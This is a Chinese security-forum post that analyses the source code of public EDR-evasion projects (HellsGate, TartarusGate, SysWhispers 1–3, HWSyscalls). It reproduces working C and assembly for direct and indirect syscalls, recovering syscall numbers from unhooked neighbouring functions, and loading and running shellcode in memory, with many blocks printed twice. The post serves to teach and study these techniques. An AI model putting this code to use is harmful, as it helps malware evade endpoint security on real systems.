首页
社区
课程
招聘
[原创]免杀动态对抗之syscall[源码分析]
发表于: 2024-6-3 16:38 20783

[原创]免杀动态对抗之syscall[源码分析]

2024-6-3 16:38
20783

操作系统分为内核和应用层,从R0-R3,R0是内核,R3是用户层。
windows中日常调用的api都是R3抽象出来的接口,虽然win32 api他也是R3接口,但是由于windows的设计思想就是高度封装,所以实际上的R3 api是ntdll.dll中的函数,过程如下图。
我们调用的win32 api都是kernel.dll/user32.dll中的函数,最终都要经过ntdll.dl

我们逆向一个函数用作学习,选定CreateThread,ntdll中的是NtCreateThread
image.png
可以看到首先给eax赋值(这里是系统调用号SSN system-call-number),然后再执行syscall

观察相邻函数可以发现SSN是递增的

EDR的工作原理是,对WINDOWS API进行hook。
一般都是inline hook,即把函数的开头地址值改成jmp xxxxxxx(hook函数地址)
既然知道了syscall的调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对api的hook

以下开始学习不同项目对应的手法

项目地址:https://github.com/am0nsec/HellsGate/
比较古老的项目,效果不好,但是有学习价值
直接跟进main.c,调用RtlGetThreadEnvironmentBlock,作用是获取TEB(fs:0x30/0x60),然后获取PEB

获取ntdll.dll,这里是测试出来的,win10的peb.LoaderData.InMemoryOrderModuleList.Flink->Flink一般是kernel.dll,0x10偏移是ntdll.dll

获取导出表

代码自己设置了一个结构体_VX_TABLE,用于存放取出的nt函数的地址

然后用api hash,装载这些函数

获取函数地址的函数,其中使用djb2算法进行api hash计算。
会检测函数地址位置的字节序列是否正常,比如如果在地址处检测到了0x0f 0x05 syscall0xc3 ret,正常函数不会是这样的,说明可能被hook
正常的序列:

或者

还会获取系统调用号

最后main调用了payload函数,开始执行shellcode,也是分配内存+写权限+内存限制+线程创建执行shellcode+NtWaitForSingleObject

其中的核心手搓syscall,由外部asm文件提供

总结别人的总结:

https://github.com/trickster0/TartarusGate/
其实之前还有一个光环之门,但是这个TartarusGate完美改进了,就直接用这个说吧
这是对地狱之门的改进,因为地狱之门在不干净的ntdll中无法动态获取SSN,所以光环之门进行了改进。

当我们所需要的 Nt 函数被 hook 时,它相邻的 Nt 函数可能没有被 hook,因为 EDR 不可能 hook 所有的 Nt 函数,总有一些不敏感的 Nt 函数没有被 hook,这样我们从我们需要的 Nt 函数出发,向上或者向下寻找,找到没有被 hook 的 Nt 函数,然后它的 SSN 加上或减去步数就得到了我们需要的 SSN。

看下图,ZwMapViewOfSection 显然被 hook 了,因为它开头是jmp <offset>指令,而不是 mov r10, rcx,但是相邻的 ZwSetInformationFile 和 NtAccessCheckAndAuditAlarm 却是干净的,他们的系统调用号分别是0x27和0x29。因此,确定 ZwMapViewOfSection 编号非常简单 ,只需查看邻居编号并相应地进行调整即可。如果邻居也被 hook 了,那么检查邻居的邻居,以此类推
image.png
这里我们查看他重点实现查看邻居的代码
检测到0xe9 jmp时(第一第二条,做了两次判断,因为不只是第一条命令会被hook),开始向上向下查看邻居.
预先设置了down和up的值为正负32,这是作者手动计算的,然后根据这个区间进行上下邻居的查看。
可以手动在ntdll里面数一下,正好差0x20,即32.由于各个API本质不同就是传入SSN不同,所以这里可以固定区间检查上下邻居

手搓syscall比地狱之门多加了一点nop做混淆

打印所有zw开头的(内核系统调用接口)函数,也可以改成nt(用户态系统调用接口)

以上代码把所有提取出来的内核函数存放到NT_TABLE中,然后输出,这里我稍微魔改一下改成根据传入的api hash参数,寻找对应的api hash的调用号

项目地址:https://github.com/jthuraisamy/SysWhispers
这是直接系统调用的框架。

系统调用号SSN在不同版本的系统下是不一样的,有技术博客已经帮我们整理好了

这个项目相当于一个脚手架,会帮我们生成asm文件和头文件,需要在项目中包含,才能syscall
安装:

使用:

上手

打开项目,导入生成的asm和头文件
编写demo
未syscall时需要使用kernel32.dll中的API

syscall后可以使用nt函数进行替代

头文件存放了nt函数的签名结构

asm文件中,对应函数会先查询版本,然后再跳转到对应的代码块进行处理

以上都是模板文件,最后核心代码还是直接调用syscall,这样的特征比较明显,所以会有接下来的第二版本和第三版本项目

项目地址:https://github.com/jthuraisamy/SysWhispers2
使用方法和第一版一样,只不过内部的实现机制发生了改变
用demo查看一下内部机制

其中出现的nasm,是适配gcc的文件
std方法是最基础的syscall,但是rnd是适配了Random Syscall Jumps技术,项目描述中有写
使用随机系统调用跳转(Random Syscall Jumps)可以避免“系统调用的标记”。汇编存根会调用一个新函数SW__GetRandomSyscallAddress,该函数会在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。通过这种方式,也可以避免触发用户态的系统调用指令。
要使用随机系统调用跳转,你需要在编译程序时定义RANDSYSCALL,并使用SysWhispers2输出的rnd版本。以下示例展示了如何使用GNU汇编器存根。
x86 Example EXE - Using Random Syscall Jumps

x64 Example EXE - Using Random Syscall Jumps

编写demo

这里我们使用random版本的代码
syscall.h的内容和第一版本没差别
具体的差别在asm。首先是导出的nt函数,将硬编码的hash值传给currentHash,然后调用WhisperMain

WhisperMain中调用了SW2_GetSyscallNumberSW2_GetRandomSyscallAddress
查询ntdll中干净的随机的syscall命令,保存其地址,然后构造系统调用号等参数,用随机的sysacll执行

接下来查看具体的获取随机SSN和干净syscall的代码,是C语言,存放在syscall.c中

跟进SW2_PopulateSyscallList
先看数据结构,SW2_SYSCALL_ENTRY存放导出函数的hash和地址,SW2_SYSCALL_LIST存放entry队列,还有计数器

查看代码,首先获取peb,然后从peb中检索ntdll,由于ntdll不一定在第二位,所以遍历所有模块寻找ntdll

这里的处理其实挺愚蠢的,不如这段代码遍历一遍,其实还可以改成参数为hash

接着遍历导出表,将所有zw开头的内核系统调用接口的hash和地址存入队列

接着跟进SW2_GetRandomSyscallAddress

这里设置了随机数,并且设定了syscall在汇编中的偏移0x12,构建出syscall在模块内偏移,(ntdllbase+random(syscalladdress)+0x12),最终返回构造好的syscall指令地址,在asm中构造syscall栈进行调用
根据下图可以看出偏移为0x12

这里的效果就是,使用间接系统调用,程序会进入ntdll模块中执行syscall,而不是自己直接手撸syscall,在操作系统看来,手撸syscall会让用户态程序直接进入内核态,不经过ntdll.dll,是不合理的。
用ntdll.dll的syscall指令就解决了这个问题,合理多了。

SysWhispers还有进化版本,项目地址:https://github.com/klezVirus/SysWhispers3
进化的点在哪里:
The usage is pretty similar to SysWhispers2, with the following exceptions:

其中涉及了主要两个技术:

运行项目,生成模板查看一下

这里使用了jumper_randomized模块,jumper和egg_hunter是不能同时使用的,因为都是对syscall指令做的操作,如果jumper就不需要syscall机器码混淆。
当只使用egg_hunter生成时会有提示,每次随机生成的egg垃圾字符串是不同的,需要手动转换成syscall指令(混淆解码)

先看egg_hunter
syscall.h中存放函数签名
查看asm文件,参数传入ecx函数hash,然后调用SW3_GetSyscallNumber

这里需要自己在主函数中对egg和replace字节进行实现。
就算实现了,这里也是直接系统调用,不靠谱,所以我们来看jumper

可以看到和第二代版本的差别就是,syscall改成了jmp r11,r11是SW3_GetRandomSyscallAddress获取的syscall address。这种方式可以绕过对静态syscall指令的扫描。

项目地址:https://github.com/Dec0ne/HWSyscalls
上文都是软件中自定义堆栈流程,都是找到ntdll,然后从里面拿系统调用接口做syscall,但是hwsyscalls项目更彻底,通过kernel32 gadget,跳到ntdll.dll中做间接syscall。
indirect_syscalls.png
hwsyscalls_flow.png
用法:InitHWSyscalls启动系统,进行初始化,这个函数里面会把VEH异常处理注册好,并且将ntdll设置为断点,调用PrepareSyscall(要调用的NT函数)即可触发VEH,同时间接调用nt函数对应的syscall。
DeinitHWSyscalls进行收尾处理。

初始化函数,会获取当前线程,从kernel32.dll寻找ret gadget,"ADD RSP,68;RET",然后使用AddVectoredExceptionHandler注册异常处理程序

FindRetGadget会在kernel32.dll和kernelbase.dll寻找"ADD RSP,68;RET",如果找不到就无需继续了。

如果存在gadget,则注册异常处理函数

核心函数HWSyscallExceptionHandler,相关注释在代码中

寻找syscall指令和系统调用号都借鉴了天堂之门,遍历检索邻居.这里使用了PBYTE,是四个字节,0x20偏移,向后遍历32个函数寻找syscall;ret gadget

注册完VEH,一旦设置了硬件断点(通过 SetThreadContext 设置 CONTEXT 结构中的 Dr0),本进程任何尝试访问该地址的操作都会触发异常,这时 HWSyscallExceptionHandler 就会被调用。
这就轮到初始化函数InitHWSyscalls中的SetMainBreakpoint出场了

断点通过SetThreadContext下在了ctx.Dr0上,是PrepareSyscall函数,这个函数的作用是返回一个函数地址,入参是需要调用的nt函数。

到此为止,代码分析完毕。
HWSyscalls通过注册VEH异常处理程序,通过手动给触发函数下硬件断点的方式,通过参数将需要调用的内核函数名送入VEH处理程序,在其中操作寄存器,通过寻找kernel32.dll 的"ADD XX;RET"gadget,配合VEH.RSP操作,伪造kernel32.dll栈,接着将间接调用的栈帧布置在伪造的kernel32.dll栈后面,实现了更彻底更完美的间接系统调用。
该项目吸收了旧技术的精髓,和SysWhispers系列项目一样,都是syscall方面的精品项目。

.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00                mov     eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03                         jnz     short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F614 C3                            retn
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00                mov     eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03                         jnz     short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F614 C3                            retn
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00                mov     eax, 4Fh ; 'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03                         jnz     short loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F634 C3                            retn
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00                mov     eax, 4Fh ; 'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03                         jnz     short loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F634 C3                            retn
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
    // 获取PEB
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
INT wmain() {
    // 获取PEB
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
    return 0x01;
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
    return 0x01;
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
    // Get DOS header
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }
 
    // Get NT headers
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }
 
    // Get the EAT
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
    // Get DOS header
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }
 
    // Get NT headers
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }
 
    // Get the EAT
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
    return 0x1;
 
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
    return 0x1;
 
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
    return 0x1;
 
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
    return 0x1;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
    return 0x1;
 
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
    return 0x1;
 
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
    return 0x1;
 
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
    return 0x1;
MOV R10, RCX
MOV RCX, <SSN>
MOV R10, RCX
MOV RCX, <SSN>
mov     r10, rcx
mov     eax, <SSN>
syscall
mov     r10, rcx
mov     eax, <SSN>
syscall
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
 
    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        // 获取函数名
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        // djb2 哈希算法
        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
            // 赋值函数地址
            pVxTableEntry->pAddress = pFunctionAddress;
 
            // 检测函数是否被hook(检查原有字节序列)
            // Quick and dirty fix in case the function has been hooked
            WORD cw = 0;
            while (TRUE) {
                // 0x0f 0x05 syscall
                // check if syscall, in this case we are too far
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;
 
                // check if ret, in this case we are also probaly too far
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;
 
                // First opcodes should be :
                //    MOV R10, RCX
                //    MOV RCX, <syscall>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    // 根据字节序列获取SSN,存储到pVxTableEntry中
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry中->wSystemCall = (high << 8) | low;
                    break;
                }
 
                cw++;
            };
        }
    }
 
    return TRUE;
}
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
 
    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        // 获取函数名
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        // djb2 哈希算法
        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
            // 赋值函数地址
            pVxTableEntry->pAddress = pFunctionAddress;
 
            // 检测函数是否被hook(检查原有字节序列)
            // Quick and dirty fix in case the function has been hooked
            WORD cw = 0;
            while (TRUE) {
                // 0x0f 0x05 syscall
                // check if syscall, in this case we are too far
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;
 
                // check if ret, in this case we are also probaly too far
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;
 
                // First opcodes should be :
                //    MOV R10, RCX
                //    MOV RCX, <syscall>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    // 根据字节序列获取SSN,存储到pVxTableEntry中
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry中->wSystemCall = (high << 8) | low;
                    break;
                }
 
                cw++;
            };
        }
    }
 
    return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
    NTSTATUS status = 0x00000000;
    // 存放shellcode
    char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
 
    // Allocate memory for the shellcode
    PVOID lpAddress = NULL;
    SIZE_T sDataSize = sizeof(shellcode);
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
 
    // Write Memory
    VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
 
    // Change page permissions
    ULONG ulOldProtect = 0;
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
 
    // Create thread
    HANDLE hHostThread = INVALID_HANDLE_VALUE;
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
 
    // Wait for 1 seconds
    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;
    HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
    status = HellDescent(hHostThread, FALSE, &Timeout);
 
    return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
    NTSTATUS status = 0x00000000;
    // 存放shellcode
    char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
 
    // Allocate memory for the shellcode
    PVOID lpAddress = NULL;
    SIZE_T sDataSize = sizeof(shellcode);
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
 
    // Write Memory
    VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
 
    // Change page permissions
    ULONG ulOldProtect = 0;
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
 
    // Create thread
    HANDLE hHostThread = INVALID_HANDLE_VALUE;
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
 
    // Wait for 1 seconds
    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;
    HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
    status = HellDescent(hHostThread, FALSE, &Timeout);
 
    return TRUE;
}
/*--------------------------------------------------------------------
  External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
/*--------------------------------------------------------------------
  External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
    wSystemCall DWORD 000h
 
.code
// 给wSystemCall赋值SSN
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP
// 手搓syscall
    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall
 
        syscall
        ret
    HellDescent ENDP
end
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
    wSystemCall DWORD 000h
 
.code
// 给wSystemCall赋值SSN
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP
// 手搓syscall
    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall
 
        syscall
        ret
    HellDescent ENDP
end
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
    //if hooked check the neighborhood to find clean syscall
    // 0xe9 jmp
    if (*((PBYTE)pFunctionAddress) == 0xe9) {
        for (WORD idx = 1; idx <= 500; idx++) {
            // check neighboring syscall down
            // 4C 8B D1         mov r10, rcx    ; NtCreateThread
            // B8 4E 00 00 00   mov eax, 4Eh    ; 'N'
            if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
                && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
                pVxTableEntry->wSystemCall = (high << 8) | low - idx;
 
                return TRUE;
            }
            // check neighboring syscall up
            if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
                && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
                pVxTableEntry->wSystemCall = (high << 8) | low + idx;
 
                return TRUE;
            }
 
        }
        return FALSE;
    }
if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
    for (WORD idx = 1; idx <= 500; idx++) {
        // check neighboring syscall down
        if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
            pVxTableEntry->wSystemCall = (high << 8) | low - idx;
            return TRUE;
        }
        // check neighboring syscall up
        if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
            pVxTableEntry->wSystemCall = (high << 8) | low + idx;
            return TRUE;
        }
 
    }
    return FALSE;
}
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
    //if hooked check the neighborhood to find clean syscall
    // 0xe9 jmp
    if (*((PBYTE)pFunctionAddress) == 0xe9) {
        for (WORD idx = 1; idx <= 500; idx++) {
            // check neighboring syscall down
            // 4C 8B D1         mov r10, rcx    ; NtCreateThread
            // B8 4E 00 00 00   mov eax, 4Eh    ; 'N'
            if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
                && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
                pVxTableEntry->wSystemCall = (high << 8) | low - idx;
 
                return TRUE;
            }
            // check neighboring syscall up
            if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
